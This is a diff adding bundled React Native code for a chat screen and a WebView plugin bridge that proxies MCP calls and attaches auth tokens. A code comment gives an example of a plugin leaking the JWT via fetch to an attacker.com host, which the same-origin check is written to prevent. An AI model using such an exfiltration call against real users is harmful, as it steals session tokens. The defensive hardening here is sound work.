+ import { getHaptics as getHaptics3 } from "@ateam-ai-mobile/plugin-runtime";
822
+ import { jsx as jsx6, jsxs as jsxs5 } from "react/jsx-runtime";
823
+ function ChatInput({ onSend, onCallStart, loading, prefill, placeholder }) {
824
+ const [text, setText] = useState3("");
825
+ const [height, setHeight] = useState3(40);
826
+ const inputRef = useRef2(null);
827
+ useEffect2(() => {
828
+ if (prefill) {
829
+ setText(prefill);
830
+ inputRef.current?.focus();
831
+ }
832
+ }, [prefill]);
833
+ const handleSend = useCallback2(() => {
834
+ const trimmed = text.trim();
835
+ if (!trimmed) return;
836
+ getHaptics3()?.impact("light");
837
+ onSend(trimmed);
838
+ setText("");
839
+ setHeight(40);
840
+ }, [text, loading, onSend]);
841
+ const canSend = text.trim().length > 0;
842
+ return /* @__PURE__ */ jsx6(View6, { style: styles6.dock, children: /* @__PURE__ */ jsxs5(View6, { style: styles6.inputRow, children: [
843
+ onCallStart && /* @__PURE__ */ jsx6(Pressable3, { style: styles6.callBtn, onPress: onCallStart, children: /* @__PURE__ */ jsx6(Svg, { width: 20, height: 20, viewBox: "0 0 24 24", fill: "none", stroke: colors.light.accent, strokeWidth: 2, strokeLinecap: "round", strokeLinejoin: "round", children: /* @__PURE__ */ jsx6(Path, { d: "M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07 19.5 19.5 0 01-6-6 19.79 19.79 0 01-3.07-8.63A2 2 0 014.11 2h3a2 2 0 012 1.72 12.84 12.84 0 00.7 2.81 2 2 0 01-.45 2.11L8.09 9.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45 12.84 12.84 0 002.81.7A2 2 0 0122 16.92z" }) }) }),
844
+ /* @__PURE__ */ jsx6(
845
+ TextInput,
846
+ {
847
+ ref: inputRef,
848
+ style: [styles6.input, { height: Math.min(Math.max(40, height), 120) }],
849
+ value: text,
850
+ onChangeText: setText,
851
+ onContentSizeChange: (e) => setHeight(e.nativeEvent.contentSize.height),
852
+ placeholder: placeholder || "Message A-Team...",
853
+ placeholderTextColor: colors.light.textMuted,
854
+ multiline: true,
855
+ returnKeyType: "default",
856
+ blurOnSubmit: false,
857
+ onSubmitEditing: () => {
858
+ if (Platform4.OS === "web") handleSend();
859
+ }
860
+ }
861
+ ),
862
+ /* @__PURE__ */ jsx6(
863
+ Pressable3,
864
+ {
865
+ style: [styles6.sendBtn, canSend && styles6.sendBtnActive],
866
+ onPress: handleSend,
867
+ disabled: !canSend,
868
+ children: /* @__PURE__ */ jsxs5(Svg, { width: 18, height: 18, viewBox: "0 0 24 24", fill: "none", stroke: canSend ? "#fff" : colors.light.textMuted, strokeWidth: 2, children: [
869
+ /* @__PURE__ */ jsx6(Line, { x1: "22", y1: "2", x2: "11", y2: "13" }),
870
+ /* @__PURE__ */ jsx6(Polygon, { points: "22 2 15 22 11 13 2 9 22 2" })
871
+ ] })
872
+ }
873
+ )
874
+ ] }) });
875
+ }
876
+ var styles6 = StyleSheet6.create({
877
+ dock: {
878
+ paddingHorizontal: 12,
879
+ paddingVertical: 8,
880
+ backgroundColor: colors.light.bgPrimary,
881
+ borderTopWidth: 0.5,
882
+ borderTopColor: colors.light.border
883
+ },
884
+ inputRow: {
885
+ flexDirection: "row",
886
+ alignItems: "flex-end",
887
+ backgroundColor: colors.light.bgInput,
888
+ borderRadius: borderRadius4.xl,
889
+ borderWidth: 1,
890
+ borderColor: colors.light.border,
891
+ paddingHorizontal: 4,
892
+ paddingVertical: 4,
893
+ gap: 4
894
+ },
895
+ callBtn: {
896
+ width: 36,
897
+ height: 36,
898
+ borderRadius: 18,
899
+ justifyContent: "center",
900
+ alignItems: "center"
901
+ },
902
+ input: {
903
+ flex: 1,
904
+ fontSize: 16,
905
+ color: colors.light.textPrimary,
906
+ paddingHorizontal: 8,
907
+ paddingVertical: 8,
908
+ maxHeight: 120
909
+ },
910
+ sendBtn: {
911
+ width: 36,
912
+ height: 36,
913
+ borderRadius: 18,
914
+ justifyContent: "center",
915
+ alignItems: "center",
916
+ backgroundColor: colors.light.bgTertiary
917
+ },
918
+ sendBtnActive: {
919
+ backgroundColor: colors.light.accent
920
+ }
921
+ });
922
+
923
+ // src/Lightbox.tsx
924
+ import { Modal, View as View7, Image as Image2, Pressable as Pressable4, Text as Text5, StyleSheet as StyleSheet7 } from "react-native";
925
+ import { getConfig as getConfig2 } from "@ateam-ai-mobile/core";
926
+ import { jsx as jsx7, jsxs as jsxs6 } from "react/jsx-runtime";
927
+ function Lightbox() {
928
+ const uri = useLightboxStore((s) => s.uri);
929
+ const hide = useLightboxStore((s) => s.hide);
930
+ if (!uri) return null;
931
+ return /* @__PURE__ */ jsx7(Modal, { visible: true, transparent: true, animationType: "fade", onRequestClose: hide, children: /* @__PURE__ */ jsxs6(Pressable4, { style: styles7.backdrop, onPress: hide, children: [
932
+ /* @__PURE__ */ jsx7(
933
+ Image2,
934
+ {
935
+ source: {
936
+ uri,
937
+ ...uri.startsWith("http") ? {
938
+ headers: { Authorization: `Bearer ${getConfig2().tokenProvider.getToken()}` }
939
+ } : {}
940
+ },
941
+ style: styles7.image,
942
+ resizeMode: "contain"
943
+ }
944
+ ),
945
+ /* @__PURE__ */ jsx7(View7, { style: styles7.closeHint, children: /* @__PURE__ */ jsx7(Text5, { style: styles7.closeHintText, children: "Tap to close" }) })
946
+ ] }) });
947
+ }
948
+ var styles7 = StyleSheet7.create({
949
+ backdrop: {
950
+ flex: 1,
951
+ backgroundColor: "rgba(0,0,0,0.92)",
952
+ justifyContent: "center"
953
+ },
954
+ image: {
955
+ width: "100%",
956
+ height: "85%"
957
+ },
958
+ closeHint: {
959
+ position: "absolute",
960
+ bottom: 40,
961
+ alignSelf: "center"
962
+ },
963
+ closeHintText: {
964
+ color: "rgba(255,255,255,0.6)",
965
+ fontSize: 13
966
+ }
967
+ });
968
+
969
+ // src/AdasChatScreen.tsx
970
+ import { jsx as jsx8, jsxs as jsxs7 } from "react/jsx-runtime";
971
+ function isSameDay2(a, b) {
972
+ return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
973
+ }
974
+ function AdasChatScreen({
975
+ onCallStart,
976
+ placeholder,
977
+ footerAccessory,
978
+ withLightbox = true
979
+ }) {
980
+ const messages = useChatStore((s) => s.messages);
981
+ const loading = useChatStore((s) => s.loading);
982
+ const conversationLoaded = useChatStore((s) => s.conversationLoaded);
983
+ const loadConversation = useChatStore((s) => s.loadConversation);
984
+ const sendMessage = useChatStore((s) => s.sendMessage);
985
+ const listRef = useRef3(null);
986
+ const [refreshing, setRefreshing] = useState4(false);
987
+ const [prefill, setPrefill] = useState4("");
988
+ useEffect3(() => {
989
+ if (!conversationLoaded) loadConversation();
990
+ }, [conversationLoaded, loadConversation]);
991
+ useEffect3(() => {
992
+ const unsub = pluginCommandEmitter.on("prepare-chat-message", ({ text }) => {
993
+ if (text) setPrefill(text);
994
+ });
995
+ return unsub;
996
+ }, []);
997
+ const useInverted = Platform5.OS !== "web";
998
+ const listData = useMemo(
999
+ () => useInverted ? [...messages].reverse() : messages,
1000
+ [messages, useInverted]
1001
+ );
1002
+ const scrollToLatest = useCallback3((animated) => {
1003
+ if (useInverted) listRef.current?.scrollToOffset({ offset: 0, animated });
1004
+ else listRef.current?.scrollToEnd({ animated });
1005
+ }, [useInverted]);
1006
+ const handleSend = useCallback3((text) => {
1007
+ setPrefill("");
1008
+ sendMessage(text);
1009
+ scrollToLatest(true);
1010
+ }, [sendMessage, scrollToLatest]);
1011
+ const handleRefresh = useCallback3(async () => {
1012
+ setRefreshing(true);
1013
+ try {
1014
+ await loadConversation();
1015
+ } catch {
1016
+ }
1017
+ setRefreshing(false);
1018
+ }, [loadConversation]);
1019
+ const renderItem = useCallback3(({ item, index }) => {
1020
+ const older = useInverted ? listData[index + 1] : listData[index - 1];
1021
+ const showDaySep = !older || !isSameDay2(older.timestamp, item.timestamp);
1022
+ return /* @__PURE__ */ jsxs7(View8, { children: [
1023
+ showDaySep && /* @__PURE__ */ jsx8(DaySeparator, { date: item.timestamp }),
1024
+ /* @__PURE__ */ jsx8(MessageBubble, { message: item })
1025
+ ] });
1026
+ }, [listData, useInverted]);
1027
+ const typingIndicator = loading && !(useInverted ? listData[0] : listData[listData.length - 1])?.jobProgress ? /* @__PURE__ */ jsx8(TypingIndicator, {}) : null;
1028
+ return /* @__PURE__ */ jsxs7(
1029
+ KeyboardAvoidingView,
1030
+ {
1031
+ style: styles8.root,
1032
+ behavior: Platform5.OS === "ios" ? "padding" : void 0,
1033
+ children: [
1034
+ /* @__PURE__ */ jsx8(
1035
+ FlatList,
1036
+ {
1037
+ ref: listRef,
1038
+ style: styles8.list,
1039
+ data: listData,
1040
+ inverted: useInverted,
1041
+ keyExtractor: (m) => m.id,
1042
+ renderItem,
1043
+ ListHeaderComponent: useInverted ? typingIndicator : null,
1044
+ ListFooterComponent: useInverted ? null : typingIndicator,
1045
+ onContentSizeChange: useInverted ? void 0 : () => scrollToLatest(false),
1046
+ refreshControl: /* @__PURE__ */ jsx8(RefreshControl, { refreshing, onRefresh: handleRefresh, tintColor: ada5.orange }),
1047
+ keyboardShouldPersistTaps: "handled",
1048
+ contentContainerStyle: styles8.listContent
1049
+ }
1050
+ ),
1051
+ footerAccessory,
1052
+ /* @__PURE__ */ jsx8(
1053
+ ChatInput,
1054
+ {
1055
+ onSend: handleSend,
1056
+ onCallStart,
1057
+ loading,
1058
+ prefill,
1059
+ placeholder
1060
+ }
1061
+ ),
1062
+ withLightbox && /* @__PURE__ */ jsx8(Lightbox, {})
1063
+ ]
1064
+ }
1065
+ );
1066
+ }
1067
+ var styles8 = StyleSheet8.create({
1068
+ root: {
1069
+ flex: 1,
1070
+ backgroundColor: ada5.paper
1071
+ },
1072
+ list: {
1073
+ flex: 1
1074
+ },
1075
+ listContent: {
1076
+ paddingVertical: 12
1077
+ }
1078
+ });
1079
+
1080
+ // src/plugin/Plugin.tsx
1081
+ import React, { useMemo as useMemo3 } from "react";
1082
+ import { View as View10, Text as Text7, Pressable as Pressable5, ActivityIndicator as ActivityIndicator2, StyleSheet as StyleSheet10 } from "react-native";
1083
+ import { getTenant as getTenant3, getUser, colors as colors2 } from "@ateam-ai-mobile/core";
1084
+ import {
1085
+ usePlugin,
1086
+ useNativeBridge,
1087
+ usePluginTheme,
1088
+ getPluginNative
1089
+ } from "@ateam-ai-mobile/plugin-runtime";
1090
+
1091
+ // src/plugin/EmbeddedPluginWebView.tsx
1092
+ import { useState as useState5, useMemo as useMemo2, useCallback as useCallback5 } from "react";
1093
+ import { View as View9, Text as Text6, ActivityIndicator, StyleSheet as StyleSheet9, Platform as Platform6 } from "react-native";
1094
+ import { WebView } from "react-native-webview";
1095
+ import { getConfig as getConfig3, getCoreApiUrl, getTenant as getTenant2, getToken, ada as ada6 } from "@ateam-ai-mobile/core";
1096
+ import { resolvePluginUrl } from "@ateam-ai-mobile/plugin-runtime";
1097
+
1098
+ // src/plugin/usePluginBridge.ts
1099
+ import { useCallback as useCallback4, useEffect as useEffect4, useRef as useRef4 } from "react";
1100
+ import {
1101
+ getTenant,
1102
+ connectorCall,
1103
+ mcpFetch,
1104
+ mcpToolCall,
1105
+ postCommandResult,
1106
+ pluginCommandEmitter as pluginCommandEmitter2
1107
+ } from "@ateam-ai-mobile/core";
1108
+ function usePluginBridge(pluginId, connectorId, commandBufferRef, wsRef) {
1109
+ const webViewRef = useRef4(null);
1110
+ const sendInit = useCallback4(() => {
1111
+ const msg = JSON.stringify({
1112
+ source: "adas-host",
1113
+ pluginId,
1114
+ message: {
1115
+ type: "init",
1116
+ payload: {
1117
+ tenant: getTenant(),
1118
+ connectorId: connectorId || null,
1119
+ mcpEndpoint: null,
1120
+ slug: null,
1121
+ skillSlug: null
1122
+ }
1123
+ }
1124
+ });
1125
+ webViewRef.current?.postMessage(msg);
1126
+ }, [pluginId, connectorId]);
1127
+ const sendToPlugin = useCallback4(
1128
+ (type, payload) => {
1129
+ const msg = JSON.stringify({
1130
+ source: "adas-host",
1131
+ message: { type, payload }
1132
+ });
1133
+ webViewRef.current?.postMessage(msg);
1134
+ },
1135
+ []
1136
+ );
1137
+ const dispatchToWebView = useCallback4((cmd) => {
1138
+ if (cmd.command === "__focus") return;
1139
+ const msg = JSON.stringify({
1140
+ source: "adas-host",
1141
+ pluginId,
1142
+ message: {
1143
+ type: "plugin.command",
1144
+ payload: {
1145
+ command: cmd.command,
1146
+ args: cmd.args,
1147
+ correlationId: cmd.correlationId
1148
+ }
1149
+ }
1150
+ });
1151
+ webViewRef.current?.postMessage(msg);
1152
+ }, [pluginId]);
1153
+ useEffect4(() => {
1154
+ const unsub = pluginCommandEmitter2.on("plugin-command", (cmd) => {
1155
+ if (cmd.pluginId !== pluginId) return;
1156
+ dispatchToWebView(cmd);
1157
+ });
1158
+ return unsub;
1159
+ }, [pluginId, dispatchToWebView]);
1160
+ useEffect4(() => {
1161
+ if (!commandBufferRef) return;
1162
+ const timer = setTimeout(() => {
1163
+ const buf = commandBufferRef.current;
1164
+ const remaining = [];
1165
+ for (const cmd of buf) {
1166
+ if (cmd.pluginId === pluginId) {
1167
+ dispatchToWebView(cmd);
1168
+ } else {
1169
+ remaining.push(cmd);
1170
+ }
1171
+ }
1172
+ commandBufferRef.current = remaining;
1173
+ }, 1e3);
1174
+ return () => clearTimeout(timer);
1175
+ }, [pluginId, commandBufferRef, dispatchToWebView]);
1176
+ const handleMessage = useCallback4(
1177
+ async (event) => {
1178
+ let data;
1179
+ try {
1180
+ data = JSON.parse(event.nativeEvent.data);
1181
+ } catch {
1182
+ return;
1183
+ }
1184
+ if (data.source !== "adas-plugin") return;
1185
+ const action = data.message?.action || data.action;
1186
+ const payload = data.message?.payload || data.payload;
1187
+ const type = data.message?.type || data.type;
1188
+ if (action === "mcp-fetch" && payload?.requestId) {
1189
+ const { requestId, body } = payload;
1190
+ try {
1191
+ const result = await mcpFetch(body);
1192
+ sendToPlugin("mcp-fetch-result", { requestId, result, error: null });
1193
+ } catch (err) {
1194
+ console.warn("[PluginBridge] mcp-fetch ERROR:", err.message);
1195
+ sendToPlugin("mcp-fetch-result", { requestId, result: null, error: err.message });
1196
+ }
1197
+ return;
1198
+ }
1199
+ if (action === "mcp-call" && payload?.requestId) {
1200
+ const { requestId, toolName, args: callArgs } = payload;
1201
+ if (toolName) {
1202
+ try {
1203
+ const rpcResponse = await mcpToolCall(toolName, callArgs || {});
1204
+ const result = rpcResponse?.result ?? rpcResponse;
1205
+ sendToPlugin("mcp-result", { requestId, result, error: null });
1206
+ } catch (err) {
1207
+ sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
1208
+ }
1209
+ return;
1210
+ }
1211
+ const cId = payload.connectorId || callArgs?.connectorId || callArgs?.params?.connectorId;
1212
+ const tool = payload.tool || callArgs?.tool || callArgs?.params?.tool;
1213
+ const toolArgs = payload.args || callArgs?.args || callArgs?.params?.args || {};
1214
+ if (!cId || !tool) {
1215
+ console.error(`[PluginBridge] mcp-call missing params \u2014 connectorId: ${cId}, tool: ${tool}`);
1216
+ sendToPlugin("mcp-result", { requestId, result: null, error: `Missing connectorId or tool in mcp-call. Got connectorId=${cId}, tool=${tool}` });
1217
+ return;
1218
+ }
1219
+ try {
1220
+ const data2 = await connectorCall(cId, tool, toolArgs);
1221
+ if (data2.ok) {
1222
+ sendToPlugin("mcp-result", { requestId, result: data2.result, error: null });
1223
+ } else {
1224
+ sendToPlugin("mcp-result", { requestId, result: null, error: data2.error || "MCP call failed" });
1225
+ }
1226
+ } catch (err) {
1227
+ sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
1228
+ }
1229
+ return;
1230
+ }
1231
+ if (action === "close") {
1232
+ pluginCommandEmitter2.emit("plugin-close", { pluginId });
1233
+ return;
1234
+ }
1235
+ if (type === "plugin.command.result" && payload?.correlationId) {
1236
+ const ws = wsRef?.current;
1237
+ if (ws && ws.readyState === WebSocket.OPEN) {
1238
+ try {
1239
+ ws.send(JSON.stringify({
1240
+ type: "plugin-command-result",
1241
+ correlationId: payload.correlationId,
1242
+ result: payload.result,
1243
+ error: payload.error
1244
+ }));
1245
+ } catch (err) {
1246
+ console.warn("[PluginBridge] WS send failed, falling back to POST:", err.message);
1247
+ await postCommandResult(payload.correlationId, payload.result, payload.error).catch(() => {
1248
+ });
1249
+ }
1250
+ } else {
1251
+ try {
1252
+ await postCommandResult(payload.correlationId, payload.result, payload.error);
1253
+ } catch (err) {
1254
+ console.warn("[PluginBridge] Failed to send command result:", err.message);
1255
+ }
1256
+ }
1257
+ return;
1258
+ }
1259
+ },
1260
+ [sendToPlugin]
1261
+ );
1262
+ return {
1263
+ webViewRef,
1264
+ sendInit,
1265
+ handleMessage
1266
+ };
1267
+ }
1268
+ function buildPluginBridgeJS(jwt, tenant) {
1269
+ return `
1270
+ (function() {
1271
+ function _dbg(msg) {
1272
+ console.log('[PluginBridge] ' + msg);
1273
+ }
1274
+
1275
+ // 1. Seed localStorage. JWT is required by web-shared plugin code
1276
+ // (cpFeApi.ts etc. read localStorage.adas.jwt directly). Origin lockdown
1277
+ // lives in EmbeddedPluginWebView (originWhitelist +
1278
+ // onShouldStartLoadWithRequest) \u2014 not here. Never log the token.
1279
+ try {
1280
+ localStorage.setItem('adas.jwt', ${JSON.stringify(jwt)});
1281
+ localStorage.setItem('adas.tenant', ${JSON.stringify(tenant)});
1282
+ _dbg('localStorage seeded: jwt=' + (${JSON.stringify(jwt)} ? '[present]' : '[absent]') + ' tenant=' + ${JSON.stringify(tenant)});
1283
+ } catch(e) { _dbg('localStorage ERROR: ' + e.message); }
1284
+
1285
+ // 2. Intercept ALL fetch calls \u2014 proxy /mcp through the RN bridge
1286
+ var _origFetch = window.fetch.bind(window);
1287
+ var _mcpReqId = 0;
1288
+ var _pendingMcp = {};
1289
+
1290
+ window.fetch = function(url, opts) {
1291
+ var urlStr = (typeof url === 'string') ? url : (url && url.url) || '';
1292
+ var method = (opts && opts.method) || 'GET';
1293
+
1294
+ _dbg('FETCH ' + method + ' ' + urlStr.substring(0, 80));
1295
+
1296
+ // Intercept /mcp calls
1297
+ if (urlStr === '/mcp' || urlStr.endsWith('/mcp')) {
1298
+ _dbg(' -> INTERCEPTED /mcp, proxying via RN bridge');
1299
+ return new Promise(function(resolve, reject) {
1300
+ var requestId = 'mcp-f-' + (++_mcpReqId) + '-' + Date.now();
1301
+ _pendingMcp[requestId] = { resolve: resolve, reject: reject };
1302
+ window.ReactNativeWebView.postMessage(JSON.stringify({
1303
+ source: 'adas-plugin',
1304
+ action: 'mcp-fetch',
1305
+ payload: { requestId: requestId, body: opts && opts.body ? opts.body : null }
1306
+ }));
1307
+ setTimeout(function() {
1308
+ if (_pendingMcp[requestId]) {
1309
+ delete _pendingMcp[requestId];
1310
+ _dbg('TIMEOUT mcp-fetch ' + requestId);
1311
+ reject(new Error('MCP fetch timeout (30s)'));
1312
+ }
1313
+ }, 30000);
1314
+ });
1315
+ }
1316
+
1317
+ // Inject Authorization header ONLY for same-origin requests. A relative
1318
+ // path resolves against window.location.origin; an absolute URL must
1319
+ // literally match. This stops a plugin from leaking the JWT to a foreign
1320
+ // host via fetch('https://attacker.com/x') or via <base href>.
1321
+ var sameOrigin = false;
1322
+ try {
1323
+ var resolved = new URL(urlStr, window.location.origin);
1324
+ sameOrigin = (resolved.origin === window.location.origin);
1325
+ } catch (_) { sameOrigin = false; }
1326
+ if (sameOrigin) {
1327
+ opts = Object.assign({}, opts || {});
1328
+ var h = opts.headers;
1329
+ if (h instanceof Headers) {
1330
+ if (!h.has('Authorization')) { var jwt = localStorage.getItem('adas.jwt'); if (jwt) h.set('Authorization', 'Bearer ' + jwt); }
1331
+ } else {
1332
+ h = Object.assign({}, h || {});
1333
+ if (!h['Authorization'] && !h['authorization']) { var jwt2 = localStorage.getItem('adas.jwt'); if (jwt2) h['Authorization'] = 'Bearer ' + jwt2; }
1334
+ opts.headers = h;
1335
+ }
1336
+ }
1337
+
1338
+ return _origFetch(url, opts).then(function(res) {
1339
+ _dbg(' <- ' + res.status + ' ' + urlStr.substring(0, 60));
1340
+ return res;
1341
+ }).catch(function(err) {
1342
+ _dbg(' <- FETCH ERR: ' + err.message + ' ' + urlStr.substring(0, 40));
1343
+ throw err;
1344
+ });
1345
+ };
1346
+
1347
+ // Handle results from RN host
1348
+ function _handleHostMessage(d) {
1349
+ if (!d || d.source !== 'adas-host') return;
1350
+ var msg = d.message || {};
1351
+
1352
+ // mcp-fetch-result: response to intercepted fetch("/mcp")
1353
+ if (msg.type === 'mcp-fetch-result' && msg.payload) {
1354
+ var p = msg.payload;
1355
+ var pending = _pendingMcp[p.requestId];
1356
+ if (pending) {
1357
+ delete _pendingMcp[p.requestId];
1358
+ if (p.error) {
1359
+ pending.reject(new Error(p.error));
1360
+ } else {
1361
+ pending.resolve(new Response(JSON.stringify(p.result), {
1362
+ status: 200,
1363
+ headers: { 'Content-Type': 'application/json' }
1364
+ }));
1365
+ }
1366
+ }
1367
+ }
1368
+ }
1369
+
1370
+ // 3. Override window.parent.postMessage (plugins use this in iframes)
1371
+ window.parent = window.parent || {};
1372
+ window.parent.postMessage = function(data, origin) {
1373
+ if (data && data.source === 'adas-plugin') {
1374
+ window.ReactNativeWebView.postMessage(JSON.stringify(data));
1375
+ }
1376
+ };
1377
+
1378
+ // 4. Also intercept direct window.postMessage
1379
+ var origPost = window.postMessage.bind(window);
1380
+ window.postMessage = function(data, origin) {
1381
+ if (data && data.source === 'adas-plugin') {
1382
+ window.ReactNativeWebView.postMessage(JSON.stringify(data));
1383
+ }
1384
+ origPost(data, origin);
1385
+ };
1386
+
1387
+ // 5. Forward messages from RN host -> plugin
1388
+ // iOS: window 'message' event, Android: document 'message' event
1389
+ window.addEventListener('message', function(e) {
1390
+ try {
1391
+ var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
1392
+ if (d && d.source === 'adas-host') {
1393
+ _handleHostMessage(d);
1394
+ if (typeof e.data === 'string') {
1395
+ window.dispatchEvent(new MessageEvent('message', { data: d }));
1396
+ }
1397
+ }
1398
+ } catch(_) {}
1399
+ });
1400
+
1401
+ document.addEventListener('message', function(e) {
1402
+ try {
1403
+ var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
1404
+ _handleHostMessage(d);
1405
+ window.dispatchEvent(new MessageEvent('message', { data: d }));
1406
+ } catch(_) {}
1407
+ });
1408
+
1409
+ _dbg('Bridge JS loaded. Waiting for plugin...');
1410
+ true;
1411
+ })();
1412
+ `;
1413
+ }
1414
+
1415
+ // src/plugin/EmbeddedPluginWebView.tsx
1416
+ import { jsx as jsx9, jsxs as jsxs8 } from "react/jsx-runtime";
1417
+ function EmbeddedPluginWebView({ pluginId, manifest, commandBufferRef }) {
1418
+ const [error, setError] = useState5(null);
1419
+ const token = getToken();
1420
+ const tenant = getTenant2();
1421
+ const { webViewRef, sendInit, handleMessage } = usePluginBridge(pluginId, manifest._connectorId, commandBufferRef);
1422
+ const url = resolvePluginUrl(manifest, tenant || void 0);
1423
+ const bridgeJS = buildPluginBridgeJS(token || "", tenant || "");
1424
+ const allowedHosts = useMemo2(() => {
1425
+ const hosts = /* @__PURE__ */ new Set();
1426
+ const urls = [getCoreApiUrl()];
1427
+ const voice = getConfig3().voiceUrl;
1428
+ if (voice) urls.push(voice);
1429
+ for (const u of urls) {
1430
+ try {
1431
+ hosts.add(new URL(u).hostname);
1432
+ } catch {
1433
+ }
1434
+ }
1435
+ return hosts;
1436
+ }, []);
1437
+ const isAllowedPluginUrl = useCallback5((rawUrl) => {
1438
+ if (!rawUrl) return false;
1439
+ let parsed;
1440
+ try {
1441
+ parsed = new URL(rawUrl);
1442
+ } catch {
1443
+ return false;
1444
+ }
1445
+ if (parsed.protocol !== "https:" && parsed.protocol !== "http:") return false;
1446
+ if (parsed.protocol === "http:") return false;
1447
+ return allowedHosts.has(parsed.hostname);
1448
+ }, [allowedHosts]);
1449
+ const originWhitelist = useMemo2(
1450
+ () => Array.from(allowedHosts).map((h) => `https://${h}`),
1451
+ [allowedHosts]
1452
+ );
1453
+ if (error) {
1454
+ return /* @__PURE__ */ jsx9(View9, { style: styles9.center, children: /* @__PURE__ */ jsx9(Text6, { style: styles9.errorText, children: error }) });
1455
+ }
1456
+ return /* @__PURE__ */ jsx9(View9, { style: styles9.container, children: /* @__PURE__ */ jsx9(
1457
+ WebView,
1458
+ {
1459
+ ref: webViewRef,
1460
+ source: { uri: url },
1461
+ style: styles9.webview,
1462
+ javaScriptEnabled: true,
1463
+ domStorageEnabled: true,
1464
+ allowsInlineMediaPlayback: true,
1465
+ mediaPlaybackRequiresUserAction: false,
1466
+ mixedContentMode: "never",
1467
+ originWhitelist,
1468
+ allowsBackForwardNavigationGestures: false,
1469
+ setSupportMultipleWindows: false,
1470
+ javaScriptCanOpenWindowsAutomatically: false,
1471
+ onShouldStartLoadWithRequest: (req) => {
1472
+ if (!isAllowedPluginUrl(req.url)) {
1473
+ console.warn(`[EmbeddedPluginWebView] BLOCKED nav to disallowed origin: ${req.url}`);
1474
+ return false;
1475
+ }
1476
+ return true;
1477
+ },
1478
+ injectedJavaScriptBeforeContentLoaded: bridgeJS,
1479
+ onMessage: handleMessage,
1480
+ onLoad: () => {
1481
+ setTimeout(sendInit, 100);
1482
+ setTimeout(sendInit, 500);
1483
+ setTimeout(sendInit, 1200);
1484
+ },
1485
+ onError: (syntheticEvent) => {
1486
+ const { nativeEvent } = syntheticEvent;
1487
+ console.warn("[EmbeddedPluginWebView] Error:", nativeEvent.description);
1488
+ setError(`WebView error: ${nativeEvent.description}`);
1489
+ },
1490
+ onHttpError: (syntheticEvent) => {
1491
+ const { nativeEvent } = syntheticEvent;
1492
+ console.warn("[EmbeddedPluginWebView] HTTP error:", nativeEvent.statusCode, nativeEvent.url);
1493
+ if (nativeEvent.statusCode >= 400) {
1494
+ setError(`HTTP ${nativeEvent.statusCode}: Failed to load plugin`);
1495
+ }
1496
+ },
1497
+ startInLoadingState: true,
1498
+ renderLoading: () => /* @__PURE__ */ jsxs8(View9, { style: styles9.webviewLoading, children: [
1499
+ /* @__PURE__ */ jsx9(ActivityIndicator, { size: "small", color: ada6.orange }),
1500
+ /* @__PURE__ */ jsx9(Text6, { style: styles9.loadingText, children: "Loading plugin..." })
1501
+ ] }),
1502
+ ...Platform6.OS === "ios" ? { bounces: false } : {}
1503
+ }
1504
+ ) });
1505
+ }
1506
+ var styles9 = StyleSheet9.create({
1507
+ container: {
1508
+ flex: 1,
1509
+ backgroundColor: ada6.paper
1510
+ },
1511
+ center: {
1512
+ flex: 1,
1513
+ justifyContent: "center",
1514
+ alignItems: "center",
1515
+ backgroundColor: ada6.paper,
1516
+ paddingHorizontal: 32
1517
+ },
1518
+ errorText: {
1519
+ color: "#C15545",
1520
+ fontSize: 16,
1521
+ textAlign: "center"
1522
+ },
1523
+ webview: {
1524
+ flex: 1,
1525
+ backgroundColor: ada6.paper
1526
+ },
1527
+ webviewLoading: {
1528
+ position: "absolute",
1529
+ top: 0,
1530
+ left: 0,
1531
+ right: 0,
1532
+ bottom: 0,
1533
+ justifyContent: "center",
1534
+ alignItems: "center",
1535
+ backgroundColor: ada6.paper,
1536
+ gap: 12
1537
+ },
1538
+ loadingText: {
1539
+ color: ada6.inkSoft,
1540
+ fontSize: 14
1541
+ }
1542
+ });
1543
+
1544
+ // src/plugin/Plugin.tsx
1545
+ import { jsx as jsx10, jsxs as jsxs9 } from "react/jsx-runtime";
1546
+ var PluginErrorBoundary = class extends React.Component {
1547
+ constructor() {
1548
+ super(...arguments);
1549
+ this.state = { hasError: false, error: null };
1550
+ }
1551
+ static getDerivedStateFromError(error) {
1552
+ return { hasError: true, error };
1553
+ }
1554
+ componentDidCatch(error, info) {
1555
+ console.error(`[Plugin:${this.props.pluginId}] Crash:`, error, info.componentStack);
1556
+ }
1557
+ render() {
1558
+ if (this.state.hasError) {
1559
+ return /* @__PURE__ */ jsxs9(View10, { style: styles10.error, children: [
1560
+ /* @__PURE__ */ jsx10(Text7, { style: styles10.errorTitle, children: "Plugin Error" }),
1561
+ /* @__PURE__ */ jsx10(Text7, { style: styles10.errorMessage, children: this.state.error?.message || "An unexpected error occurred" }),
1562
+ /* @__PURE__ */ jsx10(
1563
+ Pressable5,
1564
+ {
1565
+ style: styles10.retryBtn,
1566
+ onPress: () => this.setState({ hasError: false, error: null }),
1567
+ children: /* @__PURE__ */ jsx10(Text7, { style: styles10.retryText, children: "Retry" })
1568
+ }
1569
+ )
1570
+ ] });
1571
+ }
1572
+ return this.props.children;
1573
+ }
1574
+ };
1575
+ function Plugin({ id, manifest, commandBufferRef, props: engineProps }) {
1576
+ const { plugin, loading, error, bundleMissing } = usePlugin(id, manifest);
1577
+ const connectorId = id.startsWith("mcp:") ? id.split(":")[1] : manifest._connectorId;
1578
+ const bridge = useNativeBridge(id, connectorId, commandBufferRef);
1579
+ const native = getPluginNative();
1580
+ const theme = usePluginTheme();
1581
+ const user = getUser();
1582
+ const context = useMemo3(() => ({
1583
+ tenant: getTenant3(),
1584
+ pluginId: id,
1585
+ connectorId,
1586
+ user: user ? { id: user.actorId || "", name: user.name || "", roles: [] } : void 0
1587
+ }), [id, connectorId, user?.actorId, user?.name]);
1588
+ const iframeUrl = manifest?.render?.iframeUrl;
1589
+ if (bundleMissing && iframeUrl) {
1590
+ return /* @__PURE__ */ jsx10(EmbeddedPluginWebView, { pluginId: id, manifest, commandBufferRef });
1591
+ }
1592
+ if (loading) {
1593
+ return /* @__PURE__ */ jsxs9(View10, { style: styles10.center, children: [
1594
+ /* @__PURE__ */ jsx10(ActivityIndicator2, { size: "small", color: colors2.dark.accent }),
1595
